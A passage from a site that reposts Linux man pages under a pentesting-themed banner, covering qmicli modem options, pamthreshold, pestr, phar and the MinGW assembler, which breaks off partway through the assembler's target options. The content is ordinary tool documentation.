Just allocate or release a SAR client. Use with `–client-no-release-cid’ and/or `–client-cid'

WMS options:

–wms-get-supported-messages
Get supported messages

–wms-get-routes
Get SMS route information

–wms-set-routes=[“key=value,…”]
Set SMS route information (keys: type, class, storage, receipt-action)

–wms-reset
Reset the service state

–wms-noop
Just allocate or release a WMS client. Use with `–client-no-release-cid’ and/or `–client-cid'

WDA options:

–wda-set-data-format=[“key=value,…”]
Set data format (allowed keys: link-layer-protocol (802-3|raw-ip), ul-protocol (disabled|tlp|qc-ncm|mbim|rndis|qmap|qmapv5), dl-protocol (disabled|tlp|qc-ncm|mbim|rndis|qmap|qmapv5), dl-datagram-max-size, dl-max-datagrams, ep-type (undefined|hsusb|pcie|embedded), ep-iface-number, ul-datagram-max-size, ul-max-datagrams)

–wda-get-data-format=[“key=value,…”]
Get data format (allowed keys: ep-type (undefined|hsusb|pcie|embedded), ep-iface-number); also allows empty key list

–wda-get-supported-messages
Get supported messages

–wda-noop
Just allocate or release a WDA client. Use with `–client-no-release-cid’ and/or `–client-cid'

VOICE options:

–voice-get-config
Get Voice service configuration

–voice-get-supported-messages
Get supported messages

–voice-noop
Just allocate or release a VOICE client. Use with `–client-no-release-cid’ and/or `–client-cid'

LOC options:

–loc-session-id=[ID]
Session ID for the LOC session

–loc-start
Start location gathering

–loc-stop
Stop location gathering

–loc-get-position-report
Get position reported by the location module

–loc-get-gnss-sv-info
Show GNSS space vehicle info

–loc-timeout=[SECS]
Maximum time to wait for information in `–loc-get-position-report’ and `–loc-get-gnss-sv-info’ (default 30s)

–loc-follow-position-report
Follow all position updates reported by the location module indefinitely

–loc-follow-gnss-sv-info
Follow all GNSS space vehicle info updates reported by the location module indefinitely

–loc-follow-nmea
Follow all NMEA trace updates reported by the location module indefinitely

–loc-delete-assistance-data
Delete positioning assistance data

–loc-get-nmea-types
Get list of enabled NMEA traces

–loc-set-nmea-types=[type1|type2|type3…]
Set list of enabled NMEA traces

–loc-get-operation-mode
Get operation mode

–loc-set-operation-mode=[default|msb|msa|standalone|cellid|wwan]
Set operation mode

–loc-get-engine-lock
Get engine lock status

–loc-set-engine-lock=[none|mi|mt|all]
Set engine lock status

–loc-noop
Just allocate or release a LOC client. Use with `–client-no-release-cid’ and/or `–client-cid'

QoS options:

–qos-get-flow-status=[QoS ID]
Get QoS flow status

–qos-get-network-status
Gets the network status

–qos-swi-read-data-stats=[APN ID]
Read data stats (Sierra Wireless specific)

–qos-reset
Reset the service state

–qos-noop
Just allocate or release a QOS client. Use with `–client-no-release-cid’ and/or `–client-cid'

GAS options:

–gas-dms-set-usb-composition=[pid]
Sets the USB composition

–gas-dms-get-usb-composition
Gets the current USB composition

–gas-dms-get-firmware-list
Gets the list of stored firmware

–gas-dms-get-active-firmware
Gets the currently active firmware

–gas-dms-set-active-firmware=[index]
Sets the active firmware index

–gas-noop
Just allocate or release a GAS client. Use with `–client-no-release-cid’ and/or `–client-cid'

GMS options:

–gms-test-get-value
Gets test value

–gms-test-set-value=[mandatory-value][,[optional-value]]
Sets test value

–gms-noop
Just allocate or release a GMS client. Use with `–client-no-release-cid’ and/or `–client-cid'

DSD options:

–dsd-get-apn-info=[(type)]
Gets the settings associated to a given APN type

–dsd-set-apn-type=[(name), (type1|type2|type3…)]
Sets the types associated to a given APN name

–dsd-get-system-status
Gets system status

–dsd-noop
Just allocate or release a DSD client. Use with `–client-no-release-cid’ and/or `–client-cid'

DPM options:

–dpm-open-port=[“key=value,…”]
Open port (allowed-keys: ctrl-ep-type, ctrl-ep-iface-number, ctrl-port-name, hw-data-ep-type, hw-data-ep-iface-number, hw-data-rx-id, hw-data-tx-id, sw-data-ep-type, sw-data-ep-iface-number, sw-data-port-name)

–dpm-close-port
Close port

–dpm-noop
Just allocate or release a DPM client. Use with `–client-no-release-cid’ and/or `–client-cid'

FOX options:

–fox-get-firmware-version=[firmware-mcfg-apps|firmware-mcfg|apps]
Get firmware version

–fox-noop
Just allocate or release a FOX client. Use with `–client-no-release-cid’ and/or `–client-cid'

ATR options:

–atr-send=[AT command]
Send an AT command and wait for the reply

–atr-send-only=[AT command]
Send an AT command without waiting for the reply

–atr-monitor
Watch for unsolicited indications

–atr-noop
Just allocate or release an ATR client. Use with `–client-no-release-cid’ and/or `–client-cid'

IMSP options:

–imsp-get-enabler-state
Get IMSP enabler state

–imsp-noop
Just allocate or release a IMSP client. Use with `–client-no-release-cid’ and/or `–client-cid'

IMSA options:

–imsa-get-ims-registration-status
Get IMS registration status

–imsa-get-ims-services-status
Get IMS services status

–imsa-noop
Just allocate or release a IMSA client. Use with `–client-no-release-cid’ and/or `–client-cid'

IMS options:

–ims-get-ims-services-enabled-setting
Get IMS Services Enabled Setting

–ims-noop
Just allocate or release a IMS client. Use with `–client-no-release-cid’ and/or `–client-cid'

–link-list=[IFACE]
List links created from a given interface

–link-add=[iface=IFACE,prefix=PREFIX[,mux-id=N][,flags=FLAGS]]
Create new network interface link

–link-delete=[link-iface=IFACE][,[mux-id=N]]
Delete a given network interface link

–link-delete-all=[IFACE]
Delete all network interface links from the given interface

qmi_wwan specific options:

-w, –get-wwan-iface
Get the associated WWAN iface name

-e, –get-expected-data-format
Get the expected data format in the WWAN iface

-E, –set-expected-data-format=[802-3|raw-ip|qmap-pass-through]
Set the expected data format in the WWAN iface

Application Options:

-d, –device=[PATH|URI]
Specify device path or QRTR URI (e.g. qrtr://0)

–get-service-version-info
Get service version info

–device-set-instance-id=[Instance ID]
Set instance ID

–device-open-version-info
Run version info check when opening device

–device-open-sync
Run sync operation when opening device

-p, –device-open-proxy
Request to use the ‘qmi-proxy’ proxy

–device-open-qmi
Open a cdc-wdm device explicitly in QMI mode

–device-open-mbim
Open a cdc-wdm device explicitly in MBIM mode

–device-open-auto
Open a cdc-wdm device in either QMI or MBIM mode (default)

–device-open-net=[net-802-3|net-raw-ip|net-qos-header|net-no-qos-header]
Open device with specific link protocol and QoS flags

–client-cid=[CID]
Use the given CID, don’t allocate a new one

–client-no-release-cid
Do not release the CID when exiting

-v, –verbose
Run action with verbose logs, including the debug ones

–verbose-full
Run action with verbose logs, including the debug ones and personal info

–silent
Run action with no logs; not even the error/warning ones

-V, –version
Print version

COPYRIGHT

Copyright © 2012-2023 Aleksander Morgado License GPLv2+: GNU GPL version 2 or later <http://gnu.org/licenses/gpl-2.0.html>
This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

SEE ALSO

The full documentation for qmicli is maintained as a Texinfo manual. If the info and qmicli programs are properly installed at your site, the command

info qmicli

should give you access to the complete manual.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1399 - Linux cli command pamthreshold

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pamthreshold and provides detailed information about the command pamthreshold, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pamthreshold.

.

NAME 🖥️ pamthreshold 🖥️

threshold grayscale image to black and white

SYNOPSIS

pamthreshold [-simple] [-local=widthxheight] [-dual=widthxheight] [**-threshold=threshold] [-contrast=**threshold] [inputpamfile]

Minimum unique abbreviations of options are acceptable. You may use double hyphens instead of a single hyphen to denote options. You may use white space in place of the equals sign to separate an option name from its value.

DESCRIPTION

This program is part of Netpbm(1) .

pamthreshold thresholds a grayscale image. Thresholding means dividing the image into background and foreground by comparing every pixel to a thresholding value.

The input should be a PGM image or a PAM image of tuple type GRAYSCALE or GRAYSCALE_ALPHA. However, pamthreshold doesn’t check; it just thresholds the first channel as if it were grayscale samples and if there is a second channel, processes it as if it is a transparency (alpha) channel. So if you feed it e.g. a PPM image, it will work but produce probably useless results.

The output is a PAM with tuple type BLACKANDWHITE or BLACKANDWHITE_ALPHA, depending on whether the input has a transparency channel. You can turn this into a PBM (if you need to use it with an older program that doesn’t understand PAM, or you can’t afford the 8X amount of space that PAM uses for the image) with pamtopnm.

The output is to Standard Output.

When the input has a transparency channel, pamthreshold includes a transparency channel in the output. Since the output has maxval 1, the transparency channel can indicate only fully transparent or fully opaque. pamthreshold make it fully transparent where the input is more than half transparent and fully opaque where it isn’t.

The transparency function was new in Netpbm 10.43 (June 2008). Before that, pamthreshold ignores any transparency channel in the input.

Another way to convert a grayscale image to black and white is to dither. Dithering is using clustered black and white pixels such that if you step back and look at the picture, you see varying levels of gray. pamditherbw does dithering.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pamthreshold recognizes the following command line options:

Without any options, pamthreshold uses a method based on the iterative algorithm found in the wikipedia article Thresholding (image processing) to compute the thresholding value. ( this version of the Wikipedia article was current at the time of this writing). It uses this threshold to globally threshold the image. This should work well for most images. The program issues a message telling you what threshold it used. (Netpbm messages go to Standard Error, and you can turn them off with the Netpbm common option -quiet).

Options -simple, -local, and -dual select other methods.

-simple
This selects simple or global thresholding, i.e. pamthreshold compares every pixel to the threshold you specify with -threshold. Those with a brightness greater than or equal to the threshold become white; others become black. This works well for black and white text pages scanned with a flatbed scanner and is faster than the default method that iteratively determines the thresholding value first.

-local=widthxheight
This selects local adaptive thresholding (also known as dynamic thresholding) using the neighborhood which is the square width pixels wide and height pixels high centered on the pixel in question. pamthreshold computes the threshold individually for each pixel of the image. This can accommodate changing lighting conditions in the image. Depending on the size of the neighborhood this can be quite slow.

-dual=widthxheight
This selects a dual thresholding algorithm using a global threshold for low contrast neighborhoods and local thresholding otherwise. This can preserve larger back- respectively foreground areas than local adaptive thresholding. This algorithm was proposed in the paper “An Approach To Licence Plate Recognition” by J.R. Parker and Pavol Federl.

**-threshold=**threshold
This sets the thresholding value for simple or local thresholding. The value is a floating point number in the range [0, 1] directly proportional to the Netpbm sample values, where 0 corresponds to black and 1 to the maxval of the image.

If you don’t specify this option, pamthreshold uses a threshold of 0.5.

Without -simple, -local, or -dual, this option is meaningless.

The meaning of the threshold depends upon the kind of thresholding you do (as determined by other options). Roughly, pixels at least as bright as the threshold become white in the output while others become black.

**-contrast=**threshold
This sets the threshold to determine if a neighborhood has low contrast or not for dual thresholding. The value is a floating point number in the range [0, 1].

If you don’t specify this option, pamthreshold uses a contrast threshold of 0.05. Without -dual this option is meaningless.

SEE ALSO

pamditherbw(1) , ppmtopgm(1) , pamtopnm(1) , pam(1)

HISTORY

pamthreshold was new in Netpbm 10.34 (June 2006).

AUTHOR

pamthreshold is Copyright © 2006 by Erik Auerswald and released under the GPL(1) .

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pamthreshold.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1400 - Linux cli command pestr

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pestr and provides detailed information about the command pestr, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pestr.

NAME 🖥️ pestr 🖥️

search strings in PE files

SYNOPSIS

pestr [OPTIONS]… pefile

DESCRIPTION

pestr search for ASCII and Unicode strings in PE files. It’s part of pev, the PE file analysis toolkit.

pefile is a PE32/PE32+ executable or dynamic linked library file.

OPTIONS

-n, –min-length
Set minimum string length (default: 4).

-o, –offset
Show string offset in file.

-s, –section
Show string section, if exists.

-V, –version
Show version.

–help
Show help.

EXAMPLES

Search all strings in putty.exe:

$ pestr putty.exe

REPORTING BUGS

Please, check the latest development code and report at https://github.com/mentebinaria/readpe/issues

SEE ALSO

ofs2rva(1), pedis(1), pehash(1), peldd(1), pepack(1), peres(1), pescan(1), pesec(1), readpe(1), rva2ofs(1)

COPYRIGHT

Copyright (C) 2012 - 2020 pev authors. License GPLv2+: GNU GPL version 2 or later <https://www.gnu.org/licenses/gpl-2.0.txt>. This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1401 - Linux cli command phar8.2

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command phar8.2 and provides detailed information about the command phar8.2, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the phar8.2.

NAME 🖥️ phar8.2 🖥️

PHAR (PHP archive) command line tool

SYNOPSIS

phar <command> [options] …

DESCRIPTION

The PHAR file format provides a way to put entire PHP applications into a single file called a “phar” (PHP Archive) for easy distribution and installation.

With the phar command you can create, update or extract PHP archives.

Commands: add compress delete extract help help-list info list meta-del meta-get meta-set pack sign stub-get stub-set tree version

add command

Add entries to a PHAR package.

Required arguments:

-f file Specifies the phar file to work on.

Any number of input files and directories. If -i is in use then ONLY files and matching the given regular expression are being packed. If -x is given then files matching that regular expression are NOT being packed.

Optional arguments:

-a alias Provide an alias name for the phar file.

-c algo Compression algorithm (see

COMPRESSION )

-i regex Specifies a regular expression for input files.

-l level Number of preceding subdirectories to strip from file entries

-x regex Regular expression for input files to exclude.

compress command

Compress or uncompress all files or a selected entry.

Required arguments:

-c algo Compression algorithm (see

COMPRESSION )

-f file Specifies the phar file to work on.

Optional arguments:

-e entry Name of entry to work on (must include PHAR internal directory name if any).

delete command

Delete entry from a PHAR archive

Required arguments:

-e entry Name of entry to work on (must include PHAR internal directory name if any).

-f file Specifies the phar file to work on.

extract command

Extract a PHAR package to a directory.

Required arguments:

-f file Specifies the phar file to work on.

Optional arguments:

-i regex Specifies a regular expression for input files.

-x regex Regular expression for input files to exclude.

Directory to extract to (defaults to ‘.’).

help command

This help or help for a selected command.

Optional arguments:

Optional command to retrieve help for.

help-list command

Lists available commands.

info command

Get information about a PHAR package.

By using -k it is possible to return a single value.

Required arguments:

-f file Specifies the phar file to work on.

Optional arguments:

-k index Subscription index to work on.

list command

List contents of a PHAR archive.

Required arguments:

-f file Specifies the phar file to work on.

Optional arguments:

-i regex Specifies a regular expression for input files.

-x regex Regular expression for input files to exclude.

meta-del command

Delete meta information of a PHAR entry or a PHAR package.

If -k is given then the metadata is expected to be an array and the given index is being deleted.

If something was deleted the return value is 0 otherwise it is 1.

Required arguments:

-f file Specifies the phar file to work on.

Optional arguments:

-e entry Name of entry to work on (must include PHAR internal directory name if any).

-k index Subscription index to work on.

meta-get command

Get meta information of a PHAR entry or a PHAR package in serialized from. If no output file is specified for meta data then stdout is being used. You can also specify a particular index using -k. In that case the metadata is expected to be an array and the value of the given index is returned using echo rather than using serialize. If that index does not exist or no meta data is present then the return value is 1.

Required arguments:

-f file Specifies the phar file to work on.

Optional arguments:

-e entry Name of entry to work on (must include PHAR internal directory name if any).

-k index Subscription index to work on.

meta-set command

Set meta data of a PHAR entry or a PHAR package using serialized input. If no input file is specified for meta data then stdin is being used. You can also specify a particular index using -k. In that case the metadata is expected to be an array and the value of the given index is being set. If the metadata is not present or empty a new array will be created. If the metadata is present and a flat value then the return value is 1. Also using -k the input is been taken directly rather then being serialized.

Required arguments:

-f file Specifies the phar file to work on.

-m meta Meta data to store with entry (serialized php data).

Optional arguments:

-e entry Name of entry to work on (must include PHAR internal directory name if any).

-k index Subscription index to work on.

pack command

Pack files into a PHAR archive.

When using -s <stub>, then the stub file is being excluded from the list of input files/dirs.To create an archive that contains PEAR class PHP_Archive then point -p argument to PHP/Archive.php.

Required arguments:

-f file Specifies the phar file to work on.

Any number of input files and directories. If -i is in use then ONLY files and matching the given regular expression are being packed. If -x is given then files matching that regular expression are NOT being packed.

Optional arguments:

-a alias Provide an alias name for the phar file.

-b bang Hash-bang line to start the archive (e.g. #!/usr/bin/php). The hash mark itself ‘#!’ and the newline character are optional.

-c algo Compression algorithm (see

COMPRESSION )

-h hash Selects the hash algorithm (see

HASH )

-i regex Specifies a regular expression for input files.

-l level Number of preceding subdirectories to strip from file entries

-p loader Location of PHP_Archive class file (pear list-files PHP_Archive).You can use ‘0’ or ‘1’ to locate it automatically using the mentioned pear command. When using ‘0’ the command does not error out when the class file cannot be located. This switch also adds some code around the stub so that class PHP_Archive gets registered as phar:// stream wrapper if necessary. And finally this switch will add the file phar.inc from this package and load it to ensure class Phar is present.

-s stub Select the stub file.

-x regex Regular expression for input files to exclude.

-y key Private key for OpenSSL signing.

sign command

Set signature hash algorithm.

Required arguments:

-f file Specifies the phar file to work on.

-h hash Selects the hash algorithm (see

HASH )

Optional arguments:

-y key Private key for OpenSSL signing.

stub-get command

Get the stub of a PHAR file. If no output file is specified as stub then stdout is being used.

Required arguments:

-f file Specifies the phar file to work on.

Optional arguments:

-s stub Select the stub file.

stub-set command

Set the stub of a PHAR file. If no input file is specified as stub then stdin is being used.

Required arguments:

-f file Specifies the phar file to work on.

Optional arguments:

-b bang Hash-bang line to start the archive (e.g. #!/usr/bin/php). The hash mark itself ‘#!’ and the newline character are optional.

-p loader Location of PHP_Archive class file (pear list-files PHP_Archive).You can use ‘0’ or ‘1’ to locate it automatically using the mentioned pear command. When using ‘0’ the command does not error out when the class file cannot be located. This switch also adds some code around the stub so that class PHP_Archive gets registered as phar:// stream wrapper if necessary. And finally this switch will add the file phar.inc from this package and load it to ensure class Phar is present.

-s stub Select the stub file.

tree command

Get a directory tree for a PHAR archive.

Required arguments:

-f file Specifies the phar file to work on.

Optional arguments:

-i regex Specifies a regular expression for input files.

-x regex Regular expression for input files to exclude.

version command

Get information about the PHAR environment and the tool version.

COMPRESSION

Algorithms:

0 No compression

none No compression

auto Automatically select compression algorithm

gz GZip compression

gzip GZip compression

bz2 BZip2 compression

bzip2 BZip2 compression

HASH

Algorithms:

md5 MD5

sha1 SHA1

sha256 SHA256

sha512 SHA512

openssl OpenSSL using SHA-1

openssl_sha256 OpenSSL using SHA-256

openssl_sha512 OpenSSL using SHA-512

SEE ALSO

For a more or less complete description of PHAR look here:

http://php.net/phar

BUGS

You can view the list of known bugs or report any new bug you found at:

https://github.com/php/php-src/issues

AUTHORS

The PHP Group: Thies C. Arntzen, Stig Bakken, Andi Gutmans, Rasmus Lerdorf, Sam Ruby, Sascha Schumann, Zeev Suraski, Jim Winstead, Andrei Zmievski.

Work for the PHP archive was done by Gregory Beaver, Marcus Boerger.

A List of active developers can be found here:

http://www.php.net/credits.php

And last but not least PHP was developed with the help of a huge amount of contributors all around the world.

VERSION INFORMATION

This manpage describes phar, version 8.2.21.

COPYRIGHT

Copyright © The PHP Group

This source file is subject to version 3.01 of the PHP license, that is bundled with this package in the file LICENSE, and is available through the world-wide-web at the following url:

https://www.php.net/license/3_01.txt

If you did not receive a copy of the PHP license and are unable to obtain it through the world-wide-web, please send a note to [email protected] so we can mail you a copy immediately.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1402 - Linux cli command x86_64-w64-mingw32-as

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command x86_64-w64-mingw32-as and provides detailed information about the command x86_64-w64-mingw32-as, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the x86_64-w64-mingw32-as.

NAME 🖥️ x86_64-w64-mingw32-as 🖥️

the portable GNU assembler.

SYNOPSIS

as [-a[cdghilns][=file]] [–alternate] [–compress-debug-sections] [–nocompress-debug-sections] [-D] [–dump-config] [–debug-prefix-map old=new] [–defsym sym=val] [–elf-stt-common=[no|yes]] [–emulation=name] [-f] [-g] [–gstabs] [–gstabs+] [–gdwarf-<N>] [–gdwarf-sections] [–gdwarf-cie-version=VERSION] [–generate-missing-build-notes=[no|yes]] [–gsframe] [–hash-size=N] [–help] [–target-help] [-I dir] [-J] [-K] [–keep-locals] [-L] [–listing-lhs-width=NUM] [–listing-lhs-width2=NUM] [–listing-rhs-width=NUM] [–listing-cont-lines=NUM] [–multibyte-handling=[allow|warn|warn-sym-only]] [–no-pad-sections] [-o objfile] [-R] [–scfi=experimental] [–sectname-subst] [–size-check=[error|warning]] [–statistics] [-v] [-version] [–version] [-W] [–no-warn] [–warn] [–fatal-warnings] [-w] [-x] [-Z] [@FILE] [target-options] [|files …]

TARGET

Target AArch64 options: [-EB|-EL] [-mabi=ABI]

Target Alpha options: [-mcpu] [-mdebug | -no-mdebug] [-replace | -noreplace] [-relax] [-g] [-Gsize] [-F] [-32addr]

Target ARC options: [-mcpu=cpu] [-mA6|-mARC600|-mARC601|-mA7|-mARC700|-mEM|-mHS] [-mcode-density] [-mrelax] [-EB|-EL]

Target ARM options: [-mcpu=processor[+extension…]] [-march=architecture[+extension…]] [-mfpu=floating-point-format] [-mfloat-abi=abi] [-meabi=ver] [-mthumb] [-EB|-EL] [-mapcs-32|-mapcs-26|-mapcs-float| -mapcs-reentrant] [-mthumb-interwork] [-k]

Target Blackfin options: [-mcpu=processor[-sirevision]] [-mfdpic] [-mno-fdpic] [-mnopic]

Target BPF options: [-EL] [-EB]

Target CRIS options: [–underscore | –no-underscore] [–pic] [-N] [–emulation=criself | –emulation=crisaout] [–march=v0_v10 | –march=v10 | –march=v32 | –march=common_v10_v32]

Target C-SKY options: [-march=arch] [-mcpu=cpu] [-EL] [-mlittle-endian] [-EB] [-mbig-endian] [-fpic] [-pic] [-mljump] [-mno-ljump] [-force2bsr] [-mforce2bsr] [-no-force2bsr] [-mno-force2bsr] [-jsri2bsr] [-mjsri2bsr] [-no-jsri2bsr ] [-mno-jsri2bsr] [-mnolrw ] [-mno-lrw] [-melrw] [-mno-elrw] [-mlaf ] [-mliterals-after-func] [-mno-laf] [-mno-literals-after-func] [-mlabr] [-mliterals-after-br] [-mno-labr] [-mnoliterals-after-br] [-mistack] [-mno-istack] [-mhard-float] [-mmp] [-mcp] [-mcache] [-msecurity] [-mtrust] [-mdsp] [-medsp] [-mvdsp]

Target D10V options: [-O]

Target D30V options: [-O|-n|-N]

Target EPIPHANY options: [-mepiphany|-mepiphany16]

Target H8/300 options: [-h-tick-hex]

Target i386 options: [–32|–x32|–64] [-n] [-march=CPU[+EXTENSION…]] [-mtune=CPU]

Target IA-64 options: [-mconstant-gp|-mauto-pic] [-milp32|-milp64|-mlp64|-mp64] [-mle|mbe] [-mtune=itanium1|-mtune=itanium2] [-munwind-check=warning|-munwind-check=error] [-mhint.b=ok|-mhint.b=warning|-mhint.b=error] [-x|-xexplicit] [-xauto] [-xdebug]

Target IP2K options: [-mip2022|-mip2022ext]

Target M32C options: [-m32c|-m16c] [-relax] [-h-tick-hex]

Target M32R options: [–m32rx|–[no-]warn-explicit-parallel-conflicts| –W[n]p]

Target M680X0 options: [-l] [-m68000|-m68010|-m68020|…]

Target M68HC11 options: [-m68hc11|-m68hc12|-m68hcs12|-mm9s12x|-mm9s12xg] [-mshort|-mlong] [-mshort-double|-mlong-double] [–force-long-branches] [–short-branches] [–strict-direct-mode] [–print-insn-syntax] [–print-opcodes] [–generate-example]

Target MCORE options: [-jsri2bsr] [-sifilter] [-relax] [-mcpu=[210|340]]

Target Meta options: [-mcpu=cpu] [-mfpu=cpu] [-mdsp=cpu] Target MICROBLAZE options: [-mlittle-endian] [-mbig-endian]

Target MIPS options: [-nocpp] [-EL] [-EB] [-O[optimization level]] [-g[debug level]] [-G num] [-KPIC] [-call_shared] [-non_shared] [-xgot [-mvxworks-pic] [-mabi=ABI] [-32] [-n32] [-64] [-mfp32] [-mgp32] [-mfp64] [-mgp64] [-mfpxx] [-modd-spreg] [-mno-odd-spreg] [-march=CPU] [-mtune=CPU] [-mips1] [-mips2] [-mips3] [-mips4] [-mips5] [-mips32] [-mips32r2] [-mips32r3] [-mips32r5] [-mips32r6] [-mips64] [-mips64r2] [-mips64r3] [-mips64r5] [-mips64r6] [-construct-floats] [-no-construct-floats] [-mignore-branch-isa] [-mno-ignore-branch-isa] [-mnan=encoding] [-trap] [-no-break] [-break] [-no-trap] [-mips16] [-no-mips16] [-mmips16e2] [-mno-mips16e2] [-mmicromips] [-mno-micromips] [-msmartmips] [-mno-smartmips] [-mips3d] [-no-mips3d] [-mdmx] [-no-mdmx] [-mdsp] [-mno-dsp] [-mdspr2] [-mno-dspr2] [-mdspr3] [-mno-dspr3] [-mmsa] [-mno-msa] [-mxpa] [-mno-xpa] [-mmt] [-mno-mt] [-mmcu] [-mno-mcu] [-mcrc] [-mno-crc] [-mginv] [-mno-ginv] [-mloongson-mmi] [-mno-loongson-mmi] [-mloongson-cam] [-mno-loongson-cam] [-mloongson-ext] [-mno-loongson-ext] [-mloongson-ext2] [-mno-loongson-ext2] [-minsn32] [-mno-insn32] [-mfix7000] [-mno-fix7000] [-mfix-rm7000] [-mno-fix-rm7000] [-mfix-vr4120] [-mno-fix-vr4120] [-mfix-vr4130] [-mno-fix-vr4130] [-mfix-r5900] [-mno-fix-r5900] [-mdebug] [-no-mdebug] [-mpdr] [-mno-pdr]

Target MMIX options: [–fixed-special-register-names] [–globalize-symbols] [–gnu-syntax] [–relax] [–no-predefined-symbols] [–no-expand] [–no-merge-gregs] [-x] [–linker-allocated-gregs]

Target Nios II options: [-relax-all] [-relax-section] [-no-relax] [-EB] [-EL]

Target NDS32 options: [-EL] [-EB] [-O] [-Os] [-mcpu=cpu] [-misa=isa] [-mabi=abi] [-mall-ext] [-m[no-]16-bit] [-m[no-]perf-ext] [-m[no-]perf2-ext] [-m[no-]string-ext] [-m[no-]dsp-ext] [-m[no-]mac] [-m[no-]div] [-m[no-]audio-isa-ext] [-m[no-]fpu-sp-ext] [-m[no-]fpu-dp-ext] [-m[no-]fpu-fma] [-mfpu-freg=FREG] [-mreduced-regs] [-mfull-regs] [-m[no-]dx-regs] [-mpic] [-mno-relax] [-mb2bb]

Target PDP11 options: [-mpic|-mno-pic] [-mall] [-mno-extensions] [-mextension|-mno-extension] [-mcpu] [-mmachine]

Target picoJava options: [-mb|-me]

